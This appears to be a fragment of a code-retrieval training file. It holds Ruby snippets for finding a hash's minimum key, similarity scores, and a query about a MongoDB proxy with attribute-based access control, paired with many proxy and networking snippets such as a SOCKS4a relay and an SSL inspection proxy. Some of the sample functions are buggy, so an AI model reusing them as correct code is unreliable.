"def key_for_min_value(name_hash)\n the_key = nil \n the_value = 1/0.0\n # Infinity...can also be expressed as FLOAT::Infinity\n name_hash.each do |id, num|\n if num <= the_value\n the_value = num\n the_key = id\n end\n end\n the_key\nend",
"def key_for_min_value(hash)\n array = []\n hash.each {|key,value| \n if array.empty? || value < array[1] \n array[0] = key \n array[1] = value \n end }\n if !array.empty? \n array.first \n else \n nil \n end\nend",
"def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.each do |k,v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end \nend\nlowest_key\nend",
"def key_for_min_value(name_hash)\n return nil if name_hash == {}\n smallest_key = name_hash.first[0]\n smallest_val = name_hash.first[1]\n\n name_hash.each do |pair|\n if pair[1] < smallest_val\n smallest_key = pair[0]\n end\n end\n smallest_key\nend",
"def key_for_min_value(name_hash)\n key_of_smallest_value = \"\"\n smallest_value = 99999\n name_hash.each do |key, value|\n if smallest_value > value\n smallest_value = value\n key_of_smallest_value = key\n end\n end\n if name_hash.size == 0\n key_of_smallest_value = nil\n end\n key_of_smallest_value\nend",
"def key_for_min_value(name_hash)\n smallest_value = Float::INFINITY\n key_for_smallest_val = nil\n name_hash.each do |key, value|\n if smallest_value > value\n smallest_value = value\n key_for_smallest_val = key\n end \n end \n key_for_smallest_val\nend",
"def key_for_min_value(name_hash)\n minKey = nil\n minVal = 2 ** (64 - 2) - 1\n name_hash.each {|key, value|\n if value < minVal\n minVal = value\n minKey = key\n end}\n minKey\nend",
"def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n lowest_number = nil\n name_hash.collect do |name, value|\n if lowest_number == nil\n lowest_number = value\n elsif lowest_number > value\n lowest_number = value\n end\n end\n \n name_hash.each do |name, value|\n if lowest_number == value\n return name\n end\n end\nend",
"def key_for_min_value(hash)\n min_value = hash.values.min\n keys = hash.collect do |key, num|\n \tkey if num == min_value\n end\n keys\nend",
"def key_for_min_value(name_hash)\n lowest_value = nil\n key_value = nil\n name_hash.collect do |name, number|\n if lowest_value == nil || number < lowest_value\n lowest_value = number\n key_value = name\n end\n end\n key_value\nend",
"def key_for_min_value(name_hash)\n smallest_value = 1/0.0\n key_of_smallest_value = nil\n name_hash.each do |key, value|\n if smallest_value > value\n key_of_smallest_value = key\n smallest_value = value\n end\n end\n return key_of_smallest_value\nend"
] | [
"0.8821222",
"0.8777674",
"0.87769854",
"0.8745862",
"0.8689437",
"0.86553806",
"0.865241",
"0.86165065",
"0.8587693",
"0.8572328",
"0.85674095",
"0.8550907",
"0.8529734",
"0.8529734",
"0.85182345",
"0.84936565",
"0.8475531",
"0.8475531",
"0.8466132",
"0.8449126",
"0.84490585",
"0.84359556",
"0.84328413",
"0.8430745",
"0.8428166",
"0.84090126",
"0.8388222",
"0.83684903",
"0.83568215",
"0.83524764",
"0.8345625",
"0.8343887",
"0.8328773",
"0.83284044",
"0.83269894",
"0.83253354",
"0.83201903",
"0.83164364",
"0.8312503",
"0.8312319",
"0.8304851",
"0.83014053",
"0.83008987",
"0.82917446",
"0.8288315",
"0.82870966",
"0.8274123",
"0.82674986",
"0.8267187",
"0.82527804",
"0.8250538",
"0.82443976",
"0.82439804",
"0.8243696",
"0.82416916",
"0.8240566",
"0.823854",
"0.82375354",
"0.82283455",
"0.82274485",
"0.82205135",
"0.82190055",
"0.82136935",
"0.82136935",
"0.82102376",
"0.82101446",
"0.82060164",
"0.8200657",
"0.81985617",
"0.81966525",
"0.81958514",
"0.81932545",
"0.81874573",
"0.8186549",
"0.8185174",
"0.8183619",
"0.8183068",
"0.8182941",
"0.8179895",
"0.8173536",
"0.81732464",
"0.8172825",
"0.81721044",
"0.8171692",
"0.81681263",
"0.8165602",
"0.81609225",
"0.8160289",
"0.81587887",
"0.815757",
"0.8154019",
"0.81534094",
"0.8152752",
"0.81524456",
"0.8151455",
"0.81511825",
"0.8151019",
"0.8146792",
"0.814368",
"0.8142542",
"0.81412685"
] | 0.0 | -1 |
client > proxyserver > MongoDB > proxyserver ( ABAC ) > client | def callbacks(conn)
conn.server(:srv, {
:host => @config[:server_host],
:port => @config[:server_port]})
conn.on_data do |data|
# parse the raw binary message
@flag = false
# nil
raw_msg, msg = WireMongo.receive(data)
@recent = msg
# nil
# nil
# nil
nil
user_name = "Alice"
if abac(msg, user_name, "127.0.0.1")
@flag = true
end
# nil
# nil
@log.info 'from client'
@log.info msg
if raw_msg == nil
@log.info "Client disconnected"
# nil
return
end
@front_callbacks.each do |cb|
msg = cb.call(conn, msg)
break unless msg
end
next unless msg
# get auth response about client query
authed = (@config[:read_only] == true ? @auth.wire_auth(conn, msg) : true)
r = nil
if authed == true # auth succeeded
@back_callbacks.each do |cb|
msg = cb.call(conn, msg)
break unless msg
end
next unless msg
# nil
r = WireMongo::write(msg)
elsif authed.is_a?(Hash) # auth had a direct response
response = WireMongo::write(authed)
# nil
conn.send_data(response)
else # otherwise drop the message
@log.info 'dropping message'
end
# nil
r
end
# messages back from the server
conn.on_response do |backend, resp|
if @config[:verbose]
_, msg = WireMongo::receive(resp)
# nil
# nil
# nil
@log.info 'from server'
@log.info msg
end
_, msg = WireMongo::receive(resp)
# if flag
# nil
if not @flag
@flag = false
msg[:responseFlags] = 2
msg[:cursorId] = 0
msg[:numberReturned] = 1
msg[:documents] = [{"$err"=>"UnauthorizedError: not authorized to execute command #{@recent[:header][:opCode]} on collection #{@recent[:collection]} of database #{@recent[:database]}", "code"=>13}]
resp = WireMongo::write(msg)
end
resp
end
conn.on_finish do |backend, name|
@log.info "closing client connection #{name}"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def connect_through_proxy; end",
"def using_proxy?; end",
"def connect_using_proxy(socket); end",
"def proxy (port)\n $CACHE = Cache.new()\n\n # open the server connection so that we can listen\n # in on the given port\n server = TCPServer.open(\"localhost\", port)\n\n # start listening for requests\n loop do\n Thread.start(server.accept) do |client|\n MixPanel.track(\"Client Connection Accepted\", properties = {\n \"token\"=>$MIXPANEL_API_TOKEN,\n \"Event Time\"=>Time.now\n })\n\n process_transaction(client)\n client.close\n end\n end\nend",
"def proxy_pass; end",
"def proxies; end",
"def proxy(client, mongo)\n if @hiccup_on_next_message\n @hiccup_on_next_message = false\n return hiccup\n end\n incoming_message = client.read(16)\n length, op_code = incoming_message.unpack(\"l<x8l<\")\n incoming_message << client.read(length - 16)\n\n if @crash_on_next_message\n @crash_on_next_message = false\n return hiccup\n elsif @unauthorized_on_next_message\n @unauthorized_on_next_message = false\n client.write(unauthorized_reply)\n elsif @query_failure_on_next_message\n @query_failure_on_next_message = false\n client.write(query_failure_reply)\n elsif op_code == OP_QUERY && authentication_command?(incoming_message)\n client.write(status_reply)\n elsif op_code == OP_QUERY && ismaster_command?(incoming_message)\n # Intercept the ismaster command and send our own reply.\n client.write(status_reply)\n else\n # This is a normal command, so proxy it to the real mongo instance.\n mongo.write incoming_message\n\n if op_code == OP_QUERY || op_code == OP_GETMORE\n outgoing_message = mongo.read(4)\n length, = outgoing_message.unpack('l<')\n outgoing_message << mongo.read(length - 4)\n\n client.write outgoing_message\n end\n end\n rescue\n end",
"def http_proxy; end",
"def proxy; end",
"def proxy; end",
"def proxy; end",
"def server_by_proxy(proxy)\n raise NotImplementedError, \"Implement #{__callee__} in #{self.class.to_s}\"\n end",
"def proxy_set?; end",
"def setup\n\n\tsb = ServerBroker.new\n\tcb = ClientBroker.new(sb)\n\tcp = ClientProxy.new(cb)\n\n\tClient.new(cp)\n\nend",
"def start\n @nodes.each(&:start)\n @worker = Thread.start do\n Thread.abort_on_exception = true\n catch(:shutdown) do\n loop do\n Moped.logger.debug \"replica_set: waiting for next client\"\n server, client = @manager.next_client\n\n if server\n Moped.logger.debug \"replica_set: proxying incoming request to mongo\"\n server.proxy(client, @mongo)\n else\n Moped.logger.debug \"replica_set: no requests; passing\"\n Thread.pass\n end\n end\n end\n end\n end",
"def set_proxy(address,port,user=nil,password=nil)\n @proxy_server={:address=>address,:port=>port,\n :user=>user, :password=>password}\n return self\n end",
"def clientserver\n end",
"def legitimate_proxy?; end",
"def proxy\n @proxy\n end",
"def set_proxy_config\n http_proxy \"http://127.0.0.1:3128\"\n https_proxy \"http://127.0.0.1:3128\"\n ftp_proxy \"http://127.0.0.1:3128\"\nend",
"def proxy_addr; end",
"def using_authenticated_proxy?; end",
"def http_proxy addr, opts={}\n return Net::HTTP unless addr\n\n host, port = addr.split \":\"\n port ||= opts[:port] || 8080\n\n user = opts[:username]\n pass = opts[:password]\n\n Kronk::Cmd.verbose \"Using proxy #{addr}\\n\" if host\n\n Net::HTTP::Proxy host, port, user, pass\n end",
"def get_remote_connection\n retun db_connection if db_connection\n db = URI..parse(ENV['MONGOHQ_URl'])\n db_name = db.path.gsub(/^\\//, '')\n db_connection = Mongo::Connection.new(db.host, db.port).db(db_name)\n db_connection.authenticate(db.user, db.password) unless db.user.nil?\n db_connection\n #check incoming message\n end",
"def proxy(prox)\n RestClient.proxy = prox\n end",
"def initialize(conn = 'mongodb://mongodb.local/')\n @client = Client.new conn\n end",
"def proxy_uri; end",
"def proxy_uri; end",
"def process_proxy(behavior, app)\n proxy = (behavior[:proxy] || app).to_s\n proxy = 'dashboard' if proxy == 'cdo-assets'\n unless %w(pegasus dashboard).include? proxy\n raise ArgumentError.new(\"Invalid proxy: #{proxy}\")\n end\n hostname = proxy == 'pegasus' ? pegasus_hostname : dashboard_hostname\n out = \"set req.backend_hint = #{proxy}.backend();\"\n if proxy != app.to_s\n out << \"\\nset req.http.host = \\\"#{hostname}\\\";\"\n end\n out\nend",
"def connection\n #@pool ||= {}\n #@pool[Thread.current] ||= Mongoc::Client.new(host, port, :pool_size=>@pool_size)\n #Mongoc::Client.new(host, port, {})\n Thread.current[:_mongo] ||= Mongoc::Client.new(host, port, {})\n end",
"def http_proxy_parts; end",
"def establish\n @proxy = XMLRPC::Client.new(@hostname, '/RPC2', @port).proxy(@proxy_name)\n end",
"def create_client\n @client = if @opts[:servers]\n Monga::Clients::ReplicaSetClient.new(@opts)\n else\n Monga::Clients::SingleInstanceClient.new(@opts)\n end\n end",
"def proxies\n @proxies ||= {}\n end",
"def connect_to(host, port)\n if @http_proxy\n\tproxy_uri = URI.parse(@http_proxy)\n\tNet::HTTP::Proxy(proxy_uri.host, proxy_uri.port).new(host, port)\n else\n\tNet::HTTP.new(host, port)\n end\n end",
"def proxy_request client\n req = parse_request client\n\n query = req.query.map { |k, v| \"#{k}=#{v}\" }.join '&'\n query = '?' << query unless query.strip.empty?\n query = URI::encode query\n\n server = TCPSocket.new($remote_server, $remote_port)\n write_request_enveloped req, server\n \n # Read response\n buff = ''\n loop do\n server.read 4096, buff\n # Decrypt our response here and reconstruct the headers\n client.write buff\n break if buff.size < 4096\n end\n \n server.close\n end",
"def public_proxy?; end",
"def public_proxy?; end",
"def http_proxy=(_arg0); end",
"def get_db_conn\n mongo = nil\n configure :development do\n mongo = Mongo::MongoClient.new('localhost', 27017).db('ddp')\n end\n configure :production do\n mongo = get_remote_connection\n end\n\n #retun connection\n mongo\n end",
"def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n @config[:forwarder].forward(req, res)\n end",
"def test_multiple_subcribers_with_proxy\n @valgrind = false\n command_app_1 = \"cd #{dirs.tmpdir}; #{get_java_command('client1')}\"\n command_app_2 = \"cd #{dirs.tmpdir}; #{CONFIG_SOURCE}; #{get_java_command('client2')}\"\n multiple_subcribers_common(command_app_1, command_app_2)\n # Request a non-existing config and check that other subscribers work and can be reconfigured afterwards\n (exitcode, out) = execute(vespa.adminserver, \"vespa-get-config -n foo -v 1 -i habla\")\n assert_equal(exitcode, 1)\n\n out_file_1 = \"#{dirs.tmpdir}app1.out\"\n out_file_2 = \"#{dirs.tmpdir}app2.out\"\n out_files = [out_file_1, out_file_2]\n\n assert_config(@route_count + 1, out_file_1)\n assert_config(@route_count + 1, out_file_2)\n\n config_generation = get_generation(deploy_app_and_assert(:deploy_app_with_routes, @route_count, out_files)).to_i\n wait_for_reconfig(config_generation)\n # One more time to check that it works with new generation, unchanged config\n config_generation = get_generation(deploy_app_and_assert(:deploy_app_with_routes, @route_count, out_files)).to_i\n wait_for_reconfig(config_generation)\n end",
"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
"def create_clients\n @haproxy = rpcclient('haproxy')\n @site = rpcclient('site')\n @service = rpcclient('service')\n @rpcutil = rpcclient('rpcutil')\n # Disable to progress bar to clean up output a little\n [@haproxy, @site, @service, @rpcutil].each do |client|\n client.progress = false\n end\nend",
"def initialize\n @db = Mongo::Client.new(['127.0.0.1:27017'] , :database => 'xdkAmbiente' )\n end",
"def set_proxy(address, port, user = T.unsafe(nil), password = T.unsafe(nil)); end",
"def mongos_each_direct_client\n return unless ClusterConfig.instance.topology == :sharded\n\n client = ClientRegistry.instance.global_client('basic')\n client.cluster.next_primary\n client.cluster.servers.each do |server|\n direct_client = ClientRegistry.instance.new_local_client(\n [ server.address.to_s ],\n SpecConfig.instance.test_options.merge(\n connect: :sharded\n ).merge(SpecConfig.instance.auth_options)\n )\n yield direct_client\n direct_client.close\n end\n end",
"def start\n # create a thread to handle this client request so as to not block the socks4a server\n @client_thread = Rex::ThreadFactory.spawn(\"SOCKS4AProxyClient\", false) do\n begin\n @server.add_client( self )\n # get the initial client request packet\n request = Packet.recv( @lsock )\n raise \"Invalid Socks4 request packet received.\" if not request\n # handle the request\n begin\n # handle socks4a conenct requests\n if( request.is_connect? )\n # perform the connection request\n params = {\n 'PeerHost' => request.dest_ip,\n 'PeerPort' => request.dest_port,\n }\n params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')\n\n @rsock = Rex::Socket::Tcp.create( params )\n # and send back success to the client\n response = Packet.new\n response.version = REPLY_VERSION\n response.command = REQUEST_GRANTED\n @lsock.put( response.to_r )\n # handle socks4a bind requests\n elsif( request.is_bind? )\n # create a server socket for this request\n params = {\n 'LocalHost' => '0.0.0.0',\n 'LocalPort' => 0,\n }\n params['Context'] = @server.opts['Context'] if @server.opts.has_key?('Context')\n bsock = Rex::Socket::TcpServer.create( params )\n # send back the bind success to the client\n response = Packet.new\n response.version = REPLY_VERSION\n response.command = REQUEST_GRANTED\n response.dest_ip = '0.0.0.0'\n response.dest_port = bsock.getlocalname()[PORT]\n @lsock.put( response.to_r )\n # accept a client connection (2 minute timeout as per spec)\n begin\n ::Timeout.timeout( 120 ) do\n @rsock = bsock.accept\n end\n rescue ::Timeout::Error\n raise \"Timeout reached on accept request.\"\n end\n # close the listening socket\n bsock.close\n # verify the connection is from the dest_ip origionally specified by the client\n rpeer = @rsock.getpeername_as_array\n raise \"Got connection from an invalid peer.\" if( rpeer[HOST] != request.dest_ip )\n # send back the client connect success to the client\n #\n # sf: according to the spec we send this response back to the client, however\n # I have seen some clients who bawk if they get this second response.\n #\n response = Packet.new\n response.version = REPLY_VERSION\n response.command = REQUEST_GRANTED\n response.dest_ip = rpeer[HOST]\n response.dest_port = rpeer[PORT]\n @lsock.put( response.to_r )\n else\n raise \"Unknown request command received #{request.command} received.\"\n end\n rescue\n # send back failure to the client\n response = Packet.new\n response.version = REPLY_VERSION\n response.command = REQUEST_REJECT_FAILED\n @lsock.put( response.to_r )\n # raise an exception to close this client connection\n raise \"Failed to handle the clients request.\"\n end\n # setup the two way relay for full duplex io\n @lsock.extend( Relay )\n @rsock.extend( Relay )\n # start the socket relays...\n @lsock.relay( self, @rsock )\n @rsock.relay( self, @lsock )\n rescue\n wlog( \"Client.start - #{$!}\" )\n self.stop\n end\n end\n end",
"def http_client uri, proxy = nil, read_timeout = nil, open_timeout = nil\n @http ||= (\n http = if proxy\n proxy_user, proxy_pass = proxy.userinfo.split(/:/) if proxy.userinfo\n Net::HTTP.Proxy(proxy.host, proxy.port, proxy_user, proxy_pass).new uri.host, uri.port\n else\n Net::HTTP.new uri.host, uri.port\n end\n http.use_ssl = uri.port == 443 || uri.instance_of?(URI::HTTPS)\n http.read_timeout = read_timeout if read_timeout\n http.open_timeout = open_timeout if open_timeout\n http\n )\n end",
"def proxy_port; end",
"def internal\n @internal||=ServerClient.new(server,client_options.merge(:internal => true))\n end",
"def send_proxy_connect_request(req); end",
"def do_CONNECT(req, res)\n proxy_auth(req, res)\n\n ua = Thread.current[:WEBrickSocket] # User-Agent\n raise WEBrick::HTTPStatus::InternalServerError, \"[BUG] cannot get socket\" unless ua\n\n # HERE is what I override: Instead to the target host; point the traffic\n # to the local ssl_server that acts as a man-in-the-middle.\n # host, port = req.unparsed_uri.split(\":\", 2)\n host = local_ssl_host\n port = local_ssl_port\n\n begin\n @logger.debug(\"CONNECT: upstream proxy is `#{host}:#{port}'.\")\n os = TCPSocket.new(host, port) # origin server\n @logger.debug(\"CONNECT #{host}:#{port}: succeeded\")\n res.status = WEBrick::HTTPStatus::RC_OK\n rescue => ex\n @logger.debug(\"CONNECT #{host}:#{port}: failed `#{ex.message}'\")\n res.set_error(ex)\n raise WEBrick::HTTPStatus::EOFError\n ensure\n if handler = @config[:ProxyContentHandler]\n handler.call(req, res)\n end\n res.send_response(ua)\n access_log(@config, req, res)\n\n # Should clear request-line not to send the response twice.\n # see: HTTPServer#run\n req.parse(WEBrick::NullReader) rescue nil\n end\n\n begin\n while fds = IO::select([ua, os])\n if fds[0].member?(ua)\n buf = ua.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from User-Agent\")\n os.syswrite(buf)\n elsif fds[0].member?(os)\n buf = os.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from #{host}:#{port}\")\n ua.syswrite(buf)\n end\n end\n rescue => ex\n os.close\n @logger.debug(\"CONNECT #{host}:#{port}: closed\")\n end\n\n raise WEBrick::HTTPStatus::EOFError\n end",
"def select_http_obj\n if @proxy_server\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\n else\n http = Net::HTTP.new(@url.host, @url.port)\n end\n http.use_ssl=true if @url.class==URI::HTTPS\n if !@verify_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\n end\n http\n end",
"def forward!(options = {})\n logger.info \"Launching Backends ...\" if logger\n\n i = 0\n for backend in @backends\n i += 1\n backend.launch!\n logger.info \"Launching Backend #{i} at #{backend.socket}.\" if logger\n end\n\n if @delay && (delay = @delay.to_i) > 0\n logger.info \"Waiting #{delay}s to Launch Proxy Server ...\" if logger\n sleep delay\n end\n\n logger.info \"Launching Proxy Server at #{host}:#{port} ...\" if logger\n s = self\n ::Proxy.start({ :host => host, :port => port, :debug => false }) do |conn|\n s.on_connection(conn)\n end\n\n logger.info \"Proxy Server at #{host}:#{port} Finished.\" if logger\n end",
"def client_connected\n @dest_host = @proxy_host\n @dest_port = @proxy_port\n connect_to_dest\n end",
"def proxy_user; end",
"def proxy_types; end",
"def configure_proxy(options, env)\n proxy = request_options(env)[:proxy]\n return unless proxy\n\n options[:proxy] = {\n host: proxy[:uri].host,\n port: proxy[:uri].port,\n authorization: [proxy[:user], proxy[:password]]\n }\n end",
"def initialize\n @uri_options = {}\n @ruby_options = {}\n if ENV['MONGODB_URI']\n @mongodb_uri = Mongo::URI.get(ENV['MONGODB_URI'])\n @uri_options = Mongo::Options::Mapper.transform_keys_to_symbols(@mongodb_uri.uri_options)\n if ENV['TOPOLOGY'] == 'load-balanced'\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :load_balanced }\n elsif @uri_options[:replica_set]\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :replica_set, replica_set: @uri_options[:replica_set] }\n elsif @uri_options[:connect] == :sharded || ENV['TOPOLOGY'] == 'sharded-cluster'\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :sharded }\n elsif @uri_options[:connect] == :direct\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :direct }\n end\n if @uri_options[:ssl].nil?\n @ssl = (ENV['SSL'] == 'ssl') || (ENV['SSL_ENABLED'] == 'true')\n else\n @ssl = @uri_options[:ssl]\n end\n end\n\n @uri_tls_options = {}\n @uri_options.each do |k, v|\n k = k.to_s.downcase\n if k.start_with?('ssl')\n @uri_tls_options[k] = v\n end\n end\n\n @ssl ||= false\n\n if (server_api = ENV['SERVER_API']) && !server_api.empty?\n @ruby_options[:server_api] = BSON::Document.new(YAML.load(server_api))\n # Since the tests pass options provided by SpecConfig directly to\n # internal driver objects (e.g. connections), transform server api\n # parameters here as they would be transformed by Client constructor.\n if (v = @ruby_options[:server_api][:version]).is_a?(Integer)\n @ruby_options[:server_api][:version] = v.to_s\n end\n end\n end",
"def Connect()\n client = Mongo::Client.new([ \"#{$host}:27017\" ], :database => $database)\n $messages.append(\"Connecting to MongoDB\")\n $db = client.database\n $collection = client[:users] #Selecting users collection\n $messages.append(\"Selecting user collection\")\nend",
"def proxy_start\n $proxy = Ritm::Proxy::Launcher.new\n $proxy.start\nend",
"def http_client\n # pass any proxy settings.\n proxy = Net::HTTP::Proxy(self.class.proxy_host, self.class.proxy_port,\n self.class.proxy_user, self.class.proxy_pass)\n http = proxy.new('api.exceptional.io', http_port)\n\n # set http client options.\n http.read_timeout = self.class.http_read_timeout || 5\n http.open_timeout = self.class.http_open_timeout || 2\n http.use_ssl = use_ssl?\n\n http\n end",
"def perform_proxy_request(req, res)\n uri = req.request_uri\n header = setup_proxy_header(req, res)\n # upstream = setup_upstream_proxy_authentication(req, res, header)\n response = nil\n\n http = Net::HTTP.new(uri.host, uri.port) # upstream.host, upstream.port)\n\n # HERE is what I add: SSL support\n if http.use_ssl = (uri.scheme == 'https' || uri.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.cert_store = ssl_cert_store\n end\n\n http.start do\n if @config[:ProxyTimeout]\n ################################## these issues are\n http.open_timeout = 30 # secs # necessary (maybe bacause\n http.read_timeout = 60 # secs # Ruby's bug, but why?)\n ##################################\n end\n response = yield(http, uri.request_uri, header)\n end\n\n # Persistent connection requirements are mysterious for me.\n # So I will close the connection in every response.\n res['proxy-connection'] = \"close\"\n res['connection'] = \"close\"\n\n # Convert Net::HTTP::HTTPResponse to WEBrick::HTTPResponse\n res.status = response.code.to_i\n choose_header(response, res)\n set_cookie(response, res)\n set_via(res)\n res.body = response.body\n end",
"def standalone?\n $mongo_client ||= initialize_scanned_client!\n $standalone ||= $mongo_client.cluster.servers.first.standalone?\nend",
"def proxies\n generate \"sufia:proxies\"\n end",
"def proxy\n ENV['BETTERY_PROXY']\n end",
"def client\n @client ||= client_for_host(brine_root_url || 'http://localhost:8080',\n logging: ENV['BRINE_LOG_HTTP'])\n end",
"def start_server!\n @logger.info(self.class) { \"Listening on #{@listen_host}:#{@listen_port}\" }\n @proxy_server = TCPServer.new(@listen_host, @listen_port)\n end",
"def test_ssl_basic\n client = MongoClient.new('server', 27017, :connect => false,\n :ssl => true)\n assert client.connect\n end",
"def connect_to_master # :nodoc:\n return unless @master_uri\n\n tcp_server = DRb.start_service\n\n master = DRb::DRbObject.new_with_uri @master_uri\n\n c = DRb::Worm::Connection.new\n c.ca = master.ca\n\n DRb.primary_server = c.start_service\n\n DRb.remove_server tcp_server\n\n tcp_server.stop_service\n\n DRb.primary_server\n end",
"def ip_cycle\n if @total_proxies == 0\n @total_proxies = @current_proxy\n @current_proxy = 0\n end\n proxy_server = @proxies[@current_proxy]\n @current_proxy += 1\n @total_proxies -= 1\n proxy_server\n end",
"def proxmox_servers\n @proxmox_servers\n end",
"def setup_proxy(proxy_server, port, user_name = nil, password = nil)\n self.http_proxy_setting = {\n http: {\n server: proxy_server,\n port: port\n }\n }\n if user_name and password\n self.http_proxy_setting[:http][:user_name] = user_name\n self.http_proxy_setting[:http][:password] = password\n end\n end",
"def client; end",
"def client; end",
"def client\n set_connection unless @client\n @client\n end",
"def do_CONNECT(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n\n ua = Thread.current[:WEBrickSocket] # User-Agent\n raise WEBrick::HTTPStatus::InternalServerError,\n \"[BUG] cannot get socket\" unless ua\n\n host, port = req.unparsed_uri.split(\":\", 2)\n # Proxy authentication for upstream proxy server\n if proxy = proxy_uri(req, res)\n proxy_request_line = \"CONNECT #{host}:#{port} HTTP/1.0\"\n if proxy.userinfo\n credentials = \"Basic \" + [proxy.userinfo].pack(\"m\").delete(\"\\n\")\n end\n host, port = proxy.host, proxy.port\n end\n\n begin\n @logger.debug(\"CONNECT: upstream proxy is `#{host}:#{port}'.\")\n os = TCPSocket.new(host, port) # origin server\n\n if proxy\n @logger.debug(\"CONNECT: sending a Request-Line\")\n os << proxy_request_line << WEBrick::CRLF\n @logger.debug(\"CONNECT: > #{proxy_request_line}\")\n if credentials\n @logger.debug(\"CONNECT: sending a credentials\")\n os << \"Proxy-Authorization: \" << credentials << WEBrick::CRLF\n end\n os << WEBrick::CRLF\n proxy_status_line = os.gets(WEBrick::LF)\n @logger.debug(\"CONNECT: read a Status-Line form the upstream server\")\n @logger.debug(\"CONNECT: < #{proxy_status_line}\")\n if /^HTTP\\/\\d+\\.\\d+\\s+(?<st>200|407)\\s*/ =~ proxy_status_line\n res.status = st.to_i\n while line = os.gets(WEBrick::LF)\n res.header['Proxy-Authenticate'] =\n line.split(':')[1] if /Proxy-Authenticate/i =~ line\n break if /\\A(#{WEBrick::CRLF}|#{WEBrick::LF})\\z/om =~ line\n end\n else\n raise WEBrick::HTTPStatus::BadGateway\n end\n end\n @logger.debug(\"CONNECT #{host}:#{port}: succeeded\")\n rescue => ex\n @logger.debug(\"CONNECT #{host}:#{port}: failed `#{ex.message}'\")\n res.set_error(ex)\n raise WEBrick::HTTPStatus::EOFError\n ensure\n if handler = @config[:ProxyContentHandler]\n handler.call(req, res)\n end\n res.send_response(ua)\n accesslog(req, res)\n\n # Should clear request-line not to send the response twice.\n # see: HTTPServer#run\n req.parse(WEBrick::NullReader) rescue nil\n end\n\n begin\n while fds = IO::select([ua, os])\n if fds[0].member?(ua)\n buf = ua.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from User-Agent\")\n os.syswrite(buf)\n elsif fds[0].member?(os)\n buf = os.sysread(1024);\n @logger.debug(\"CONNECT: #{buf.bytesize} byte from #{host}:#{port}\")\n ua.syswrite(buf)\n end\n end\n rescue\n os.close\n @logger.debug(\"CONNECT #{host}:#{port}: closed\")\n end\n\n raise WEBrick::HTTPStatus::EOFError\n end",
"def set_proxy(addr, port = T.unsafe(nil), user = T.unsafe(nil), pass = T.unsafe(nil)); end",
"def remote_connections; end",
"def make_connection\n Rightscale::HttpConnection.new(:user_agent => \"RightLink v#{AgentConfig.protocol_version}\",\n :logger => @logger,\n :proxy_host => @proxy.host,\n :proxy_port => @proxy.port,\n :proxy_username => @proxy.user,\n :proxy_password => @proxy.password,\n :exception => ReposeConnectionFailure,\n :fail_if_ca_mismatch => true,\n :ca_file => get_ca_file)\n end",
"def prepare_http_connection\n conn = @http\n if conn.nil? || !options[:persistent]\n conn = HTTPClient.new(options[:proxy] || self.class.proxy)\n set_http_connection_options(conn, options)\n @http = conn # Always set to last used connection\n end\n conn\n end",
"def create_conn\n EM::HttpRequest.new(MIRROR_SOURCE)\nend",
"def set_proxy\n @proxy = Proxy.find(params[:id])\n end",
"def connect_to(host, port)\n if @proxy_uri\n Net::HTTP::Proxy(@proxy_uri.host, @proxy_uri.port, unescape(@proxy_uri.user), unescape(@proxy_uri.password)).new(host, port)\n else\n Net::HTTP.new(host, port)\n end\n end",
"def proxy(port, num = 1, location = '/')\n pputs \"upstream #{$server.name}_#{port}_cluster {\"\n num.times {|i| pputs \" server 127.0.0.1:#{port+i};\"}\n pputs \"}\\n\"\n\n oputs <<-eos\n location #{location} {\n proxy_pass http://#{$server.name}_#{port}_cluster;\n proxy_redirect off;\n proxy_set_header Host $host;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n }\n eos\nend",
"def setup_connection\n connection = Net::HTTP::Proxy @config[:proxy_address], @config[:proxy_port], @config[:proxy_user], @config[:proxy_address]\n @connection = connection.new @config[:host], @config[:port]\n\n setup_ssl if @config[:use_ssl]\n\n @connection.open_timeout = @config[:timeout]\n @connection.read_timeout = @config[:timeout]\n end",
"def legacy_reconect\n\t\tputs \"Reconectando...\"\n\t\tif @arry_ips.length == 0\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\telsif @arry_ips.length != Connections::SERVER_IP.length && @ip_integrity != \"m\"\n\t\t\t@arry_ips = Connections::SERVER_IP\n\t\tend\n\t\tre_reconect = false\n\t\[email protected]\n\t\tloop do\n\t\t\t@ip_pos += 1\n\t\t\t@ip_pos = 0 if @ip_pos >= @arry_ips.length\n\t\t\tbegin\n\t\t\t\t@server = TCPSocket.new(@arry_ips[@ip_pos], Connections::SERVER_PORT)\n\t\t\t\tre_reconect = false\n\t\t\trescue Errno::ECONNREFUSED => e\n\t\t\t\tre_reconect = true\n\t\t\t\tsleep(1)\n\t\t\tend\n\t\t\tbreak unless re_reconect \n\t\tend\n\t\tputs \"Reconectado!\"\n\tend",
